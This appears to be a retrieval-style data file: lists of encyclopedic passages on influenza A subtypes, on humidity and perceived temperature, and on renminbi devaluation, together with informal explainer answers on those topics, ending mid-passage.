[ "Influenza A virus subtype H7N9 H7N9 virus Influenza A viruses are divided into subtypes based on two proteins on the surface of the virus: hemagglutinin (HA) and neuraminidase (NA). The avian influenza A(H7N9) virus designation of H7N9 identifies it as having HA of the H7 subtype and NA of the N9 subtype.\nAvian influenza A H7 viruses are a group of influenza viruses that normally circulate among birds. H7 influenza infections in humans are uncommon, but have been confirmed worldwide in people who have direct contact with infected birds. Most infections have been mild involving only conjunctivitis and mild upper respiratory", "Influenza A virus subtype H3N2 Classification H3N2 is a subtype of the viral genus Influenzavirus A, which is an important cause of human influenza. Its name derives from the forms of the two kinds of proteins on the surface of its coat, hemagglutinin (H) and neuraminidase (N). By reassortment, H3N2 exchanges genes for internal proteins with other influenza subtypes. Seasonal H3N2 flu Seasonal influenza kills an estimated 36,000 people in the United States each year. Flu vaccines are based on predicting which \"mutants\" of H1N1, H3N2, H1N2, and influenza B will proliferate in the next season. Separate vaccines", "symptoms. The avian influenza A(H7N9) virus is a subgroup among this larger group of H7 viruses. Although some H7 viruses (e.g. H7N2, H7N3 and H7N7) have occasionally been found to infect humans, H7N9 has previously been isolated only in birds, with outbreaks reported in the Netherlands, Japan, and the United States. Until the 2013 outbreak in China, no human infections with H7N9 viruses had ever been reported.\nGenetic characterisation of avian influenza A(H7N9) shows that the H7N9 virus that infects human beings resulted from the recombination of genes between several parent viruses noted in poultry and wild birds in Asia. It", "H5N1 virus is mostly limited to birds, but in rare cases when it infects humans it has a mortality rate of between 60% to 70%. Experts worry about the emergence of a hybrid of the more virulent Asian-lineage HPAI (highly pathogenic avian influenza) A/H5N1 strain (media labeled \"bird flu\") with more human-transmissible Influenza A strains such as this novel 2009 swine-origin A/H1N1 strain (media labeled \"swine flu\"), especially since the H5N1 strain is endemic among birds in countries like China, Indonesia, Vietnam and Egypt. (See the suite of H5N1 articles for details.)\nOther studies concluded that the virus is likely well", "H5N1 genetic structure Terminology The Orthomyxovirus family consists of 5 genera: Influenzavirus A, Influenzavirus B, Influenzavirus C, Isavirus, and Thogotovirus.\nThe \"RNA viruses\" include the \"negative-sense ssRNA viruses\" which include the Family \"Orthomyxoviridae\" which contains five genera, classified by variations in nucleoprotein (NP and M) antigens. One of these is the Genus \"Influenzavirus A\" which consists of a single species called \"Influenza A virus\"; one of its subtypes is H5N1.\nH5N1 (like the other avian flu viruses) has strains called \"highly pathogenic\" (HP) and \"low-pathogenic\" (LP). Avian influenza viruses that cause HPAI are highly virulent, and mortality rates in infected flocks", "Influenza A virus subtype H5N6 2017 After a confirmatory test done in Australia, it was confirmed that the Bird Flu strain in Pampanga in the Philippines in August 2017 was of the subtype H5N6. 2016 In 2016 cases of H5N6 were reported alongside H5N8, and H7N9 across the globe.\nToday, 22 of November 2016, South Korea called for many H5N6. Many cases were reported.\nIn November and December human cases of H5N6 were reported in China. In bird, by December there were four outbreaks in China since October and forced the culling of more than 170,000 birds.\nBy December 2016 South Korea had", "All three belong to the family Orthomyxoviridae. Viruses that belong to this family are single stranded (-) RNA viruses that replicate within the nucleus of the host's cells. Influenza types A and B are routinely spread from human to human, and they are responsible for seasonal flu epidemics each year. Influenza type C virus causes mild respiratory infections and are not known to cause epidemics, unlike the other two. Barclay has worked intensively with Influenza A and Influenza B viruses for at least a decade. She has published many articles detailing the importance of understanding how influenza viruses interact with", "is most closely related to sequences found in samples from ducks in Zhejiang province in 2011. Evidence so far suggests that the new H7N9 virus might have evolved from at least four origins. It is hypothesized that the gene that codes for HA has its origin in ducks and the gene that codes for NA has its origin with ducks and probably also wild birds. Six internal genes originated with at least two H9N2 chicken viruses. The HA genes were circulating in the East Asian flyway in both wild birds and ducks, while the NA genes were introduced from European", "1 and the rest in group 2. The serotype of influenza A virus is determined by the Hemagglutinin (HA) and Neuraminidase (NA) proteins present on its surface. Neuraminidase (NA) has 11 known subtypes, hence influenza virus is named as H1N1, H5N2 etc., depending on the combinations of HA and NA.\nA highly pathogenic avian flu virus of H5N1 type has been found to infect humans at a low rate. It has been reported that single amino acid changes in this avian virus strain's type H5 hemagglutinin have been found in human patients that \"can significantly alter receptor specificity of avian H5N1", "CDC stopped using the nomenclature \"novel H1N1\" and updated various web pages to reflect the change to \"2009 H1N1 Flu\". In the Netherlands it was originally called \"pig flu\" but, later called \"Mexican flu\" by the National Health Institute and in the media. South Korea and Israel briefly considered calling it the \"Mexican virus\". Later the South Korean press used \"SI\", short for \"swine influenza\". Taiwan suggested the names \"H1N1 flu\" or \"new flu\", which most local media adopted. The World Organization for Animal Health proposed the name \"North American influenza\". The European Commission adopted the term \"novel flu virus\".\nThe", "Structure The following applies for Influenza A viruses, although other influenza strains are very similar in structure:\nThe influenza A virus particle or virion is 80–120 nm in diameter, usually producing both ellipsoidal, baciliform, and filamentous particles. Unusually for a virus, the influenza A genome is not a single piece of nucleic acid; instead, it contains eight pieces of segmented negative-sense RNA (13.5 kilobases total), which encode 11 proteins (HA, NA, NP, M1, M2, NS1, NEP, PA, PB1, PB1-F2, PB2). The best-characterised of these viral proteins are hemagglutinin and neuraminidase, two large glycoproteins found on the outside of the viral particles. Neuraminidase", "influenza amongst children in Japan and California. Because of its limited host range and the lack of genetic diversity in influenza C, this form of influenza does not cause pandemics in humans. Influenza A Swine influenza is caused by influenza A subtypes H1N1, H1N2, H2N3, H3N1, and H3N2. In pigs, four influenza A virus subtypes (H1N1, H1N2, H3N2 and H7N9) are the most common strains worldwide. In the United States, the H1N1 subtype was exclusively prevalent among swine populations before 1998; however, since late August 1998, H3N2 subtypes have been isolated from pigs. As of 2004, H3N2 virus isolates in", "Hemagglutinin (influenza) Subtypes Hemagglutinin (HA) in influenza A has at least 18 different subtypes. These subtypes are named H1 through H18. H16 was discovered in 2004 on influenza A viruses isolated from black-headed gulls from Sweden and Norway. H17 was discovered in 2012 in fruit bats. Most recently, H18 was discovered in a Peruvian bat in 2013. The first three hemagglutinins, H1, H2, and H3, are found in human influenza viruses. By phylogenic similarity, the HA proteins are divided into 2 groups, with H1, H2, H5, H6, H8, H9, H11, H12, H13, H16, H17, and H18 belonging to group", "protein (M) genes resembled versions present in European swine flu isolates. The six genes from American swine flu are themselves mixtures of swine flu, bird flu, and human flu viruses. While viruses with this genetic makeup had not previously been found to be circulating in humans or pigs, there is no formal national surveillance system to determine what viruses are circulating in pigs in the U.S.\nIn April 2009, an outbreak of influenza-like illness (ILI) occurred in Mexico and then in the United States; the CDC reported seven cases of novel A/H1N1 influenza and promptly shared the genetic sequences on the", "\"new H1N1\", first identified in April 2009, and commonly called \"Swine flu\" initially spread in Mexico and then globally by transmission. It is thought to be a mutation of four known strains of the influenza A virus, subtype H1N1: one endemic in (normally infecting) humans, one endemic in birds, and two endemic in pigs (swine). Experts assume the virus \"most likely\" emerged from pigs in Asia, and was carried to North America by infected persons. The virus typically spreads from coughs and sneezes or by touching contaminated surfaces and then touching the nose or mouth. Symptoms, which can last up", "you can't imagine,\" he also remarked.\nAccording to the deputy director of CDC's influenza division, the genetic makeup of H7N9 is \"disturbingly different\" from that of the H5N1 virus that has infected more than 600 people over the past 10 years and killed more than half of them. \"The thing that's different between them is the H5 virus still maintains a lot of the avian or bird flu characteristics, whereas this H7N9 shows some adaptation to mammals. And that's what makes it different and concerning for us. It still has a ways to go before it becomes like a human", "Experts, including the WHO, have agreed that an estimated 284,500 people were killed by the disease, much higher than the initial death toll. Classification The initial outbreak was called the \"H1N1 influenza\", or \"Swine Flu\" by American media. It is called the pandemic H1N1/09 virus by the WHO, while the U.S. Centers for Disease Control and Prevention refer to it as \"novel influenza A (H1N1)\" or \"2009 H1N1 flu\". In the Netherlands, it was originally called \"Pig Flu\", but is now called \"New Influenza A (H1N1)\" by the national health institute, although the media and general population use the name", "and Europe. The new variants typically reached South America after an additional six to 9 months, the group reported. Swine flu A 2007 study reported: \"In swine, three influenza A virus subtypes (H1N1, H3N2, and H1N2) are circulating throughout the world. In the United States, the classic H1N1 subtype was exclusively prevalent among swine populations before 1998; however, since late August 1998, H3N2 subtypes have been isolated from pigs. Most H3N2 virus isolates are triple reassortants, containing genes from human (HA, NA, and PB1), swine (NS, NP, and M), and avian (PB2 and PA) lineages. Present vaccination strategies for swine", "other subtypes. Multiple amino acid positions in HA protein related to the antigenicity of H9N2 viruses were identified, most of which located in the distal head of the HA trimer. H9N2 influenza virus has been recognized to reassort with multiple other subtypes, including H6N1, H6N2, and H5N1 viruses. Moreover, H7N9 influenza viruses continued to reassort with circulating H9N2 viruses, resulting in multiple genotypes of H7N9 viruses. The contribution of H9N2 genes, especially ribonucleoprotein (RNP) genes, to the infection in human needs to be determined.", "H5N1 influenza virus, also known as bird flu, has resistance to interferon and other anti-viral cytokines that is attributed to a single amino acid change in its Non-Structural Protein 1 (NS1), although the precise mechanism of how this confers immunity is unclear. Diseases Interferon beta-1a and interferon beta-1b are used to treat and control multiple sclerosis, an autoimmune disorder. This treatment is effective for reducing attacks in relapsing-remitting multiple sclerosis and slowing disease progression and activity in secondary progressive multiple sclerosis.\nInterferon therapy is used (in combination with chemotherapy and radiation) as a treatment for some cancers. This treatment", "Orthomyxoviridae Types There are four genera of influenza virus, each containing only a single species, or type. Influenza A and C infect a variety of species, while influenza B almost exclusively infects humans, and influenza D infects cattle and pigs. Influenza B Influenza B virus is almost exclusively a human pathogen, and is less common than influenza A. The only other animal known to be susceptible to influenza B infection is the seal. This type of influenza mutates at a rate 2–3 times lower than type A and consequently is less genetically diverse, with only one influenza B serotype. As", "Influenza A virus subtype H5N8 Symptoms For the most part, symptoms of the H5N8 virus are respiratory. The common symptoms are \"flu-like\": fever, chills, headache, coughing, and weakness. Conjunctivitis reportedly has been associated with the virus, as well. When farmed poultry are confirmed as having the virus, the farm will cull the birds. This way, the virus will hopefully not be passed along to the public. However, neighboring farms and area wildlife must be tested, also. 1983 Perhaps the most known outbreak of H5N8 occurred in Ireland in 1983. Poultry on two farms showed the usual symptoms, plus diarrhea, nervousness,", "Influenza B virus Morphology The Influenza B virus capsid is enveloped while its virion consists of an envelope, a matrix protein, a nucleoprotein complex, a nucleocapsid, and a polymerase complex. It is sometimes spherical and sometimes filamentous. Its 500 or so surface projections are made of hemagglutinin and neuraminidase. Genome structure The Influenza B virus genome is 14,548 nucleotides long and consists of eight segments of linear negative-sense, single-stranded RNA. The multipartite genome is encapsidated, each segment in a separate nucleocapsid, and the nucleocapsids are surrounded by one envelope.", "in the United States was found to be made up of genetic elements from four different flu viruses – North American swine influenza, North American avian influenza, human influenza, and swine influenza virus typically found in Asia and Europe – \"an unusually mongrelised mix of genetic sequences.\" This new strain appears to be a result of reassortment of human influenza and swine influenza viruses, in all four different strains of subtype H1N1.\nPreliminary genetic characterization found that the hemagglutinin (HA) gene was similar to that of swine flu viruses present in U.S. pigs since 1999, but the neuraminidase (NA) and matrix", "species but not others, some pathogenic to multiple species. Each specific known genetic variation is traceable to a virus isolate of a specific case of infection. Through antigenic drift, H5N1 has mutated into dozens of highly pathogenic varieties divided into genetic clades which are known from specific isolates, but all currently belonging to genotype Z of avian influenza virus H5N1, now the dominant genotype. H5N1 isolates found in Hong Kong in 1997 and 2001 were not consistently transmitted efficiently among birds and did not cause significant disease in these animals. In 2002, new isolates of H5N1 were appearing within the", "observed yet. Structure, properties, and subtype nomenclature Influenzaviruses A, B, C, and D are very similar in overall structure. The virus particle (also called the virion) is 80–120 nanometers in diameter such that the smallest virions adopt an elliptical shape. The length of each particle varies considerably, owing to the fact that influenza is pleomorphic, and can be in excess of many tens of micrometers, producing filamentous virions. However, despite these varied shapes, the viral particles of all influenza viruses are similar in composition. These are made of a viral envelope containing two main types of glycoproteins, wrapped around a", "and Southeast Asia, then trickle around the globe before dying off. Identifying the source of the viruses allows global health officials to better predict which viruses are most likely to cause the most disease over the next year. An analysis of 13,000 samples of influenza A/H3N2 virus that were collected across six continents from 2002 to 2007 by the WHO's Global Influenza Surveillance Network showed the newly emerging strains of H3N2 appeared in East and Southeast Asian countries about six to 9 months earlier than anywhere else. The strains generally reached Australia and New Zealand next, followed by North America", "can be raised. Influenza A viruses are classified into subtypes based on antibody responses to HA and NA. These different types of HA and NA form the basis of the H and N distinctions in, for example, H5N1. There are 18 H and 11 N subtypes known, but only H 1, 2 and 3, and N 1 and 2 are commonly found in humans. Replication Viruses can replicate only in living cells. Influenza infection and replication is a multi-step process: First, the virus has to bind to and enter the cell, then deliver its genome to a site where it", "often approach 100%. LPAI viruses are generally of lower virulence, but these viruses can serve as progenitors to HPAI viruses. The current strain of H5N1 responsible for die-offs of domestic birds in Asia is an HPAI strain; other strains of H5N1 occurring elsewhere in the world are less virulent and, therefore, are classified as LPAI strains. All HPAI strains identified to date have involved H5 and H7 subtypes. The distinction concerns pathogenicity in poultry, not humans. Normally a highly pathogenic avian virus is not highly pathogenic to either humans or non-poultry birds. This current strain of H5N1 is unusual in", "Influenza A virus subtype H1N1 Swine influenza Swine influenza (swine flu or pig flu) is a respiratory disease that occurs in pigs that is caused by the Influenza A virus. Influenza viruses that are normally found in swine are known as swine influenza viruses (SIVs). \nThe known SIV strains include influenza C and the subtypes of influenza A known as H1N1, H1N2, H3N1, H3N2 and H2N3. Pigs can also become infected with the H4N6 and H9N2 subtypes.\nSwine influenza virus is common throughout pig populations worldwide. Transmission of the virus from pigs to humans is not common and does not always" ]

[ "More humid air is better at retaining heat. It is denser than less humid air, and the water it is holding absorbs heat better than drier air. So as you stand outside, more of your heat is being absorbed by the more humid atmosphere than if you were in a drier climate.", "The air we breath is a really terrible conductor of heat, thats why blankets have so much air in them. Water holds more heat and conducts more heat, so when the air is colder than your body temperature, it will absorb heat at a higher rate than dry air would, and vise versa in conditions above your body heat", "For the same reason that 15C weather feels only mildly cool, but getting immersed in 15C water feels very cold: the more dense the medium (dry air vs humid air vs water), the quicker heat exchange happens, bringing you to that temperature quicker. Both colder and hotter weather feel more intense in humid weather compared to dry weather." ]

[ "periods of daylight, triggers an expected annual dormancy which many non-tropical species need in order to thrive. These non-tropical trees need a cool location in the winter, such as a cool window ledge or \"cold room\" area in the house. In addition to the need for seasonal temperature variation, many non-tropicals grow better when there is a distinct difference between day temperatures (warm) and night (cooler). Humidity Indoor conditions, particularly in homes outside the tropics, imply very low humidity. Both air conditioning and room heating reduce air humidity significantly. Some tree species, such as ficus sp. with their waxy leaves,", "and a much stronger influence at higher air temperatures. Human discomfort caused by low relative humidity In cold climates, the outdoor temperature causes lower capacity for water vapor to flow about. Thus although it may be snowing and the relative humidity outdoors is high, once that air comes into a building and heats up, its new relative humidity is very low, making the air very dry, which can cause discomfort.\nDry cracked skin can result from dry air.\nLow humidity causes tissue lining nasal passages to dry, crack and become more susceptible to penetration of Rhinovirus cold viruses. Low humidity is a", "(32 °F). This explains the low levels (in the absence of measures to add moisture) of humidity in heated structures during winter, resulting in dry skin, itchy eyes, and persistence of static electric charges. Even with saturation (100% relative humidity) outdoors, heating of infiltrated outside air that comes indoors raises its moisture capacity, which lowers relative humidity and increases evaporation rates from moist surfaces indoors (including human bodies and household plants.)\nSimilarly, during summer in humid climates a great deal of liquid water condenses from air cooled in air conditioners. Warmer air is cooled below its dew point, and the excess water", "dry summers, though their summers are typically not quite as hot as those of hot semi-arid climates. Unlike hot semi-arid climates, areas with cold semi-arid climates tend to have cold winters. These areas usually see some snowfall during the winter, though snowfall is much lower than at locations at similar latitudes with more humid climates. Areas featuring cold semi-arid climates tend to have higher elevations than areas with hot semi-arid climates, and tend to feature major temperature swings between day and night, sometimes by as much as 20 °C (36 °F) or more in that time frame. These large diurnal temperature variations", "where snow is common, as cities tend to hold snow for shorter periods of time than surrounding rural areas (this is due to the higher insulation capacity of cities, as well as human activities such as plowing). This decreases the albedo of the city and thereby magnifies the heating effect. Higher wind speeds in rural areas, particularly in winter, can also function to make them cooler than urban areas. Regions with distinct wet and dry seasons will exhibit a larger urban heat island effect during the dry season. The thermal time constant of moist soil is much higher than that", "hot and cold semi-arid climates — the 18°C average annual temperature or that of the coldest month (0°C or −3°C), the warm side of the isotherm of choice defining a BSh climate from the BSk on the cooler side. As a result of this, some areas can have climates that are classified as hot or cold semi-arid depending on the isotherm used. One such location is San Diego, California (at its main airport), which has cool summers for the latitude due to prevailing winds off the ocean (so the average annual temperature is below 18°C) but mild winters (average", "northern Iran (only during hot seasons) are warm and wet. Western and northwestern areas which are dominantly mountainous are cold and dry and coastal areas in northern Iran (except for warm seasons) are cold and wet.\nThe house orientation, whether the house is south-facing or north-facing or built underground determines the house temperament. North-facing houses (in Iran) with less sun exposure, underground houses or houses built in damp and humid places are cold and wet or cold and dry. But south-facing houses which get enough sunlight and built in warm places are normally warm and dry.\nEven winds can develop a distinguishing", "heat from the surroundings is used to convert liquid to gas in an endothermic reaction, which results in cooler local temperatures. Moreover, vegetation has a higher albedo than bare ground, and reflects more sunlight, leading to lower land temperatures, lower air temperatures, and a cooler local microclimate. Seasonal Effects The oasis effect occurs most prominently during the summertime because warmer temperatures lead to more evaporation. In the winter, the oasis effect operates differently. Instead of making the oasis cooler, the oasis effect makes it warmer at night. This occurs through the fact that trees block heat from leaving the land.", "Basically, radiation cannot be emitted back into the atmosphere because the trees intercept and absorb it. Urban Planning The oasis effect plays a role in urban development because plants and bodies of water result in cooler cities. Accordingly, cities with parks will have lower temperatures because plants have higher albedo than bare ground or roads. Areas with higher albedo reflect more light than they absorb, leading to cooler temperatures. Normally, cities are hotter than their suburbs due to dense population, dark buildings and roads, and pollution; this is known as the urban heat island effect. However, by careful placement of", "in cooler weather to the country as a result of an increased cloud cover that acts as a blockage of the intense sunshine of the tropics by blocking much of the suns rays in the rainy season; this in turn cools the land, and the winds above the ground remains cool thereby making for cooler temperatures during the rainy season. But afternoons in the rainy season can be hot and humid, a feature of tropical climates. In the rainy season it is damp, and the rainfalls are usually abundant.\nThe dry season of Nigeria is a period of little cloud cover", "both take into account only two variables, shade temperature and atmospheric moisture (humidity), thus providing only a limited estimate of thermal comfort. Wind passing over wet or sweaty skin causes evaporation and a wind chill effect that the heat index does not measure. The other major factor is sunshine; standing in direct sunlight can add up to 15 °F (8.3 °C) to the apparent heat compared to shade. There have been attempts to create a universal apparent temperature, such as the wet-bulb globe temperature, \"relative outdoor temperature\", \"feels like\", or the proprietary \"RealFeel\". Meteorological considerations Outdoors in open conditions, as", "contamination from urban warming.\" The main conclusion is that microscale and local-scale impacts dominate the mesoscale impact of the urban heat island. Many sections of towns may be warmer than rural sites, but surface weather observations are likely to be made in park \"cool islands.\"\nNot all cities show a warming relative to their rural surroundings. After trends were adjusted in urban weather stations around the world to match rural stations in their regions, in an effort to homogenise the temperature record, in 42 percent of cases, cities were getting cooler relative to their surroundings rather than warmer. One reason is", "there. Increased temperatures, causing warmer winter conditions, made the city more similar in climate to the more northerly wildland habitat of the species.\nWith attempts to mitigate and manage urban heat islands, temperature changes and availability of food and water are reduced. With temperate climates, urban heat islands will extend the growing season, therefore altering breeding strategies of inhabiting species. This can be seen the best in the effects that urban heat islands have on water temperature. With the temperature of the nearby buildings sometimes reaching over 50 degrees different from the near-surface air temperature, precipitation will warm rapidly, causing runoff", "temperature are rare. As would be expected by its abundance of water, high humidity and fog are common. The absence of mountains, which act as weather barriers, makes all locations vulnerable to high winds and rapid changes in weather as fronts or storms sweep across the country. Weather is sometimes humid.\nSeasons are fairly well defined, and in most of Uruguay spring is usually damp, cool, and windy; summers are warm; autumns are mild; and winters are chilly and somewhat uncomfortably damp. Northwestern Uruguay, however, is farther from large bodies of water and therefore has warmer summers and milder and drier", "are more extreme with temperatures that frequently exceed 40 °C (104 °F). During winters, incursions of cold, polar air from the south can lead to frosts and temperatures that fall below freezing. Being under an area of high solar radiation during summer, a consequence is that a low pressure system forms over the province during summer. Humidity Humidity in the province is high due to its climate, particularly in the north, the wettest portion of the province. Most of the winds that transport humid air come from the north and east. Winters are the most humid seasons (high humidity) due to this", "south can bring cooler temperatures. An extreme example of this was in November 2007, when cold polar air from the south brought temperatures down to 2.5 °C (36.5 °F) on the morning of November 15. The same polar air affected many parts of the country, bringing cold temperatures and snow in coastal parts of Patagonia. In contrast, hot humid air from the north produces sultry days; the highest temperature recorded in spring is 36.8 °C (98.2 °F) on 27 November 1955. In some cases, heat waves, can occur, particularly in November. Summer Summers are hot and humid. On average, mornings and afternoons are hot", "the \"urban heat island effect\", they may actually increase global temperature. The study noted that it did not account for the reduction in greenhouse gas emissions that results from building energy conservation (annual cooling energy savings less annual heating energy penalty) associated with cool roofs (meaning that one will need to use more energy to heat the living space due to reduction in heat from sunlight in winter.) However, this applies only to those areas with low winter temperatures – not tropical climates. Also, homes in areas receiving snow in winter months are unlikely to receive significantly more heat from", "(although the daily range of temperature during the summer is large due to dry and clear conditions, except along the immediate coasts). Temperatures during winter only occasionally fall below the freezing point and snow is generally seldom seen. In the summer, the temperatures range from mild to very hot, depending on distance from a large body of water, elevation, and latitude. Even in the warmest locations with a Mediterranean-type climate, however, temperatures usually do not reach the highest readings found in adjacent desert regions because of cooling from water bodies, although strong winds from inland desert regions can sometimes boost", "a humid continental climate and in many such places is more common than rain during the height of winter. In places with sufficient wintertime precipitation, the snow cover is often deep. Most summer rainfall occurs during thunderstorms, and in North America and Asia an occasionally tropical system. Though humidity levels are often high in locations with humid continental climates, the \"humid\" designation means that the climate is not dry enough to be classified as semi-arid or arid. Vegetation By definition, forests thrive within this climate. Biomes within this climate regime include temperate woodlands, temperate grasslands, temperate deciduous, temperate evergreen", "area, leaving large parts of India arid and dry. The sudden end of pre-monsoon rain showers, an uncommon trend in India, has contributed to the heat waves. Additionally, the monsoon season is later and further south than the normal trend. This weather pattern, coupled with the El Niño effect, which often increases temperatures in Asia, combined to create the record high temperatures. High humidity compounded the effects of the temperatures on residents. The Loo, a dry wind originating from Pakistan and northwest India, has contributed to increasing the temperature in India. Relief efforts The government of Andhra Pradesh announced ₹100,000", "urban climate. Precipitation Because cities are warmer, the hot air is more likely to rise, and if the humidity is high it will cause convectional rainfall – short intense bursts of rain and thunderstorms. \nUrban areas produce particles of dust (notably soot) and these act as hygroscopic nuclei which encourages rain production.\nBecause of the warmer temperatures there is less snow in the city than surrounding areas. Winds Wind speeds are often lower in cities than the countryside because the buildings act as barriers (wind breaks). On the other hand, long streets with tall buildings can act as wind", "are seldom seen in hot semi-arid climates. Cold semi-arid climates at higher latitudes tend to have dry winters and wetter summers, while cold semi-arid climates at lower latitudes tend to have precipitation patterns more akin to subtropical climates, with dry summers, relatively wet winters, and even wetter springs and autumns. Cold semi-arid climates are most commonly found in Asia and North America. However, they can also be found in Northern Africa, South Africa, Europe, sections of South America and sections of interior southern Australia and New Zealand. Regions of varying classification In climate classification, three isotherms means that delineate between", "The resulting hotter air is less dense than surrounding cooler air. This, combined with the rising of the hot air, results in the formation of a low pressure area. Elevated areas can enhance the strength of the thermal low as they warm more quickly than the atmosphere which surrounds them at the same altitude. Over the water, instability lows form during the winter when the air overlying the land is colder than the warmer water body. Thermal lows tend to have weak circulations, and can extend to 3,100 metres (10,200 ft) in height. Thermal lows", "month of February had the largest fraction of cooler than average days with 86% days with lower than average low temperatures. Humidity Humidity is an important factor in determining how weather conditions feel to a person experiencing them. Hot and humid days feel even hotter than hot and dry days because the high level of water content in humid air discourages the evaporation of sweat from a person's skin.\nWhen reading the graph below, keep in mind that the hottest part of the day tends to be the least humid, so the daily low (brown) traces are more relevant for understanding", "is long and extremely hot and wintertime is short and very warm to truly hot further in the interior, where cooling marine influences aren't felt anymore. Average high temperatures exceed 40 °C (104 °F) in summer during a prolonged period of time but can reach as high as 50 °C (122 °F) or even more in places such as Smara, Tichla, Bir Gandus, Bir Anzarane, Aghouinite, Aousserd and others. Average high temperatures exceed 20 °C (68 °F) in winter but average low temperatures can drop to 7 °C (45 °F) in some places. The sky is usually clear and bright throughout the year and sunny weather is the", "are classically considered calm, because the wind transports (nocturnally) warmer air from higher levels to the cold surface. However, if the atmosphere is the major source of moisture (this type is called dewfall), a certain amount of ventilation is needed to replace the vapor that is already condensed. The highest optimum wind speeds could be found on arid islands. If the wet soil beneath is the major source of vapor, however (this type of dew formation is called distillation), wind always seems adverse.\nThe processes of dew formation do not restrict its occurrence to the night and the outdoors. They are", "climates exist where cold air masses infiltrate during the winter and warm air masses form in summer under conditions of high sun and long days. Places with continental climates are as a rule are either far from any moderating effect of oceans (examples: Omaha, Nebraska and Kazan, Russia) or are so situated that prevailing winds tend to head offshore (example: Boston, USA). Such regions get quite warm in the summer, achieving temperatures characteristic of tropical climates but are colder than any other climates of similar latitude in the winter. Neighbouring climates In the Koppen climate system, these climates grade", "and Los Angeles experience mild temperatures in the winter, with frost and snowfall almost unknown, whereas Tashkent has colder winters with annual frosts and snowfall. Or to consider summer, Athens experiences rather high temperatures in that season (48 °C (118 °F) has been measured in nearby Eleusis). In contrast, San Francisco has cool summers with daily highs around 21 °C (70 °F) due to the continuous upwelling of cold subsurface waters along the coast.\nBecause most regions with a Mediterranean climate are near large bodies of water, temperatures are generally moderate with a comparatively small range of temperatures between the winter low and summer high", "saving energy. A potential disadvantage of a thermally massive building in cooler climates is that after a prolonged period of cold, when the external temperature increases again, the structures internal temperature tends to lag behind and take longer to warm up (assuming no other form of heating). Humidity A further advantage is the higher air humidity of 50 to 70% compared to overheated rooms of conventional houses in winter. Furthermore, as earth houses are impermeable, they can be considered ideal for controlled air conditioning. Wind and earthquake protection The unique architecture of earth houses protects them against severe windstorms. They", "whole country.\nThe main border of hot-summer/cold-winter zone is hot, humid summers and cold, humid winters. The temperature difference between day and night is normally small. The precipitation in an average year is large. Sun radiation is relative weak due to cloud cover.\nThe most durable time you will ever have outside during the hottest summer month is 25–30 °C (77–86 °F), with peak temperatures above 40 °C (104 °F). The average outside temperature during the coldest winter month is 0–10 °C (32–50 °F), with lowest temperatures below 0 °C (32 °F).\nFor historical reasons, the residential buildings in this zone don’t have central HVAC systems and are not well insulated" ]

[ "So, let's say I have a dollar, and I want to buy your Chinese food from China. Now, you're in China, so you don't want my dollar, you want RMBs. I mean, if someone came over here with Chinese money, you wouldn't sell them anything, because you can't use it. Right? Right. So I take my dollar to somebody who wants dollars and has RMBs (maybe he's a Chinese guy who wants a cheeseburger). Now, the question is, \"how many RMBs does my dollar buy me?\" If the RMB is *devalued,* then I can buy a lot of them with my one dollar. That's because RMBs are really common and not as many people want them as want my dollar. So then when I go to you, my one dollar is suddenly 500 RMBs, and I can buy more with it than I could at home with my dollar.\n\nSo, the pros and cons. Well, the pros are that you can sell me more of your Chinese food for my dollar. So you sell more food, and thus make more RMBs than you would if $1 = 1 RMB (I buy 500 RMBs worth of food, instead of 1 RMB's worth). Now, the down side is, what if you want a cheeseburger? You have to get 500 RMBs just to get a dollar! Imagine if you had to get $500 to buy a cheeseburger in France. That'd be crazy!\n\nSo: It's easier to sell things to people from other countries, because they have really really valuable money, so to them all your prices look really cheap. But it's hard to buy things from those people, because they don't want your cheap money.", "China’s engine of growth is exports. The lower the value of the Yuan, the better it is for China’s exporters. Basically, if 1 Dollar buys 7 Yuans, and a exporter sells a Chinese Shirt for 10 dollars – he pockets 70 yuans. But if one Dollar was worth only 5 Yuans, the exporter would only be able to pocket 50 yuans." ]

[ "Bank of China devalued the RMB - by 1.86 percent to CN¥6.2298 per US dollar. A lower renminbi (RMB) \"makes China’s exports more competitive in foreign markets, offsetting part of the surge in the country’s blue-collar wages over the last decade; and it makes foreign companies, houses and other overseas investments seem more expensive.\" On 14 August, the central bank devalued it again to CN¥6.3975 per US dollar. In August there was speculation about the causes of the devaluation of the yuan and the changes in the Chinese economy in 2015, including the \"growth in its services sector rather", "in three days to the lowest point since 2008 as it was hit by strong sales after threats of further USA tariffs. Chinese domestic discourse Chinese economic reforms in the late 1970s propelled the Chinese economy from a closed centrally planned economy to one opened to foreign investments and capital, oriented to manufacturing of electrical goods, textile, toys and exports. This has allowed China to become a creditor country in relations to current accounts and the largest in terms of foreign reserves.\nChina maintains that the value of the renminbi is market-driven. China says that its population receives high savings from", "Chinese RMB, a continuing slide of Japan into a 1930’s type of recession, and the possibility of a G-7 interest rate increase\". South Korea and some of the other smaller Asian countries had recovered by 2000, but Malaysia and Indonesia only recovered to pre-crisis levels of output by 2001 and 2003 respectively. Of the downside risks highlighted, the prediction of a weak Japan materialised, with people coming to talk about the 1990s and 2000s as the country's \"Lost Decade (Japan) lost decades\". The Chinese RMB did not depreciate but remained pegged at around 8.27-8.28 to the dollar until 2005. The", "June 2010.\nAfter 2010, the exchange rate floated in line with fundamentals, staying mostly between 6 and 7 CNY per USD. In 2018, the renminbi lost value as China's exports were targeted by USA tariffs and markets had doubts on the strength of the economy. Such a depreciation is typical of a country whose exports are at risk, as shown by the drop of the pound after Brexit, and in July 2019 the IMF found the yuan to be correctly valued, while the dollar was overvalued. In August 2019, the central bank of China (PBOC) let the renminbi fall over 2%", "China's securities markets.\nIn the first quarter of 2011, the Chinese Renminbi surpassed the Russian ruble in terms of international trading volume for the first time in history.\nIn June 2013, the United Kingdom became the first G-7 country to set up an official currency swap line with China.\nAs of 2013, the RMB is the 8th most traded currency in the world.\nAs of July 2014, 25 countries have signed the RMB Bilateral Swap Agreement with PBoC with total facilities of over ¥2.7 trillion.\nThe scale of the offshore renminbi (CNH) market is still limited at the moment, with offshore renminbi deposits (around ¥1.5", "decline of foreign investment in certain western regions is a consequence of Beijing’s attempt to recentralize the province’s economy through mega-projects such as Guizhou’s west-east electricity transfer project. The strengthening of central control over the economy has eroded the trust of foreign investors. In the case of Guizhou, while the Chinese central government intended to attract foreign investment in the power sector through the West-East Electricity Transfer Project, only 5% of foreign investment entered the energy sector. About 75% of Guizhou’s foreign investment was channeled into manufacturing and 15% to real estate development. Because the campaign’s", "RMB compared to 19 per cent in 2014. In December China was the world's largest exporter. By October 2016, the Renminbi will be added to the special drawing rights currency basket, the foreign exchange 